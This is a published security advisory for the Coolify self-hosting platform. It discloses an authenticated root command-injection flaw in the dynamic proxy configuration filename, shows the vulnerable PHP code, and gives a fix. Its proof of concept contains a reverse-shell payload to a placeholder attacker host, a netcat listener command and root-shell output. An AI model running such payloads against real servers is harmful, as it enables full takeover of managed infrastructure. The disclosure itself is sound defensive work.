Skip to content

Authenticated Remote Code Execution via Command Injection in Dynamic Proxy Configuration Filename

Critical
andrasbacsai published GHSA-q7rg-2j7p-83gp Jan 3, 2026

Package

coollabsio/coolify

Affected versions

<= 4.0.0-beta.450

Patched versions

>= 4.0.0-beta.451

Description

Summary

An authenticated command injection vulnerability in the Dynamic Proxy Configuration functionality allows users with server management permissions to execute arbitrary commands as root on managed servers. The fileName parameter is passed directly to shell commands without sanitization, enabling full remote code execution on the host system.

Details

Vulnerable File: app/Livewire/Server/Proxy/NewDynamicConfiguration.php
Vulnerable Code (lines 68-83):

$proxy_path = $this->server->proxyPath();
$file = "{$proxy_path}/dynamic/{$this->fileName}";
if ($this->newFile) {
    $exists = instant_remote_process(["test -f $file && echo 1 || echo 0"], $this->server);
    if ($exists == 1) {
        $this->dispatch('error', 'File already exists');
        return;
    }
}
// ...
$base64_value = base64_encode($this->value);
instant_remote_process([
    "echo '{$base64_value}' | base64 -d | tee {$file} > /dev/null",
], $this->server);

The $this->fileName parameter undergoes only basic validation ('fileName' => 'required') at line 44, with no shell metacharacter filtering or use of escapeshellarg(). When concatenated into shell commands executed via instant_remote_process(), attackers can inject arbitrary commands using command substitution ($(...)) or other shell metacharacters.
Additionally, app/Livewire/Server/Proxy/DynamicConfigurationNavbar.php line 34 contains the same vulnerability in the delete function:

$file = str_replace('|', '.', $fileName);
instant_remote_process(["rm -f {$proxy_path}/dynamic/{$file}"], $this->server);

The str_replace('|', '.') only replaces pipe characters, leaving command substitution and other injection vectors unmitigated.
Due to Coolify's sudo injection mechanism in bootstrap/helpers/sudo.php, which automatically prepends sudo to command substitutions, all injected commands execute with root privileges regardless of the SSH user configuration.

PoC

Prerequisites:

Coolify v4.0.0-beta.450 or earlier
Authenticated user with server management permissions
A configured server with proxy (Traefik or Caddy)

Steps to reproduce:

Start a netcat listener on attacker machine:

nc -lvnp 9999


2. Log into Coolify and navigate to:
   `Servers → [Your Server] → Proxy → Dynamic Configurations`

3. Click "+ Add" to create a new dynamic configuration

4. Enter the following:
   - **Filename:** `test$(bash -i >& /dev/tcp/ATTACKER_IP/9999 0>&1)`
   - **Content:** `# test configuration`

5. Click Save

6. A root shell is received on the attacker's listener:

connect to [ATTACKER_IP] from (UNKNOWN) [TARGET_IP] 40192
bash: cannot set terminal process group: Inappropriate ioctl for device
bash: no job control in this shell
root@hostname:~#


**Alternative payload using backticks:**

testbash -i >& /dev/tcp/ATTACKER_IP/9999 0>&1

Impact

Remote Code Execution: Attackers can execute arbitrary commands on managed servers
Root Privilege: All commands execute as root due to Coolify's sudo injection mechanism
Full Server Compromise: Attackers gain complete control of managed infrastructure
Container Escape: Access to Docker socket (/var/run/docker.sock) enables container escape and control of all containers
Lateral Movement: Compromised servers can be used to attack other managed resources
Data Breach: Access to all databases, applications, and secrets managed by Coolify

Who is affected:

All Coolify self-hosted instances running v4.0.0-beta.450 or earlier
Any organization using Coolify to manage server infrastructure
All servers connected to a compromised Coolify instance

Recommended Fix:
Apply escapeshellarg() to the $fileName parameter before use in shell commands:

$escapedFileName = escapeshellarg($this->fileName);
$file = "{$proxy_path}/dynamic/{$escapedFileName}";

Additionally, implement input validation to restrict filenames to alphanumeric characters, dots, dashes, and underscores only.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
Low
User interaction
None
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

CVE ID

CVE-2025-66212

Weaknesses

Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')

The product constructs all or part of an OS command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended OS command when it is sent to a downstream component. Learn more on MITRE.

Credits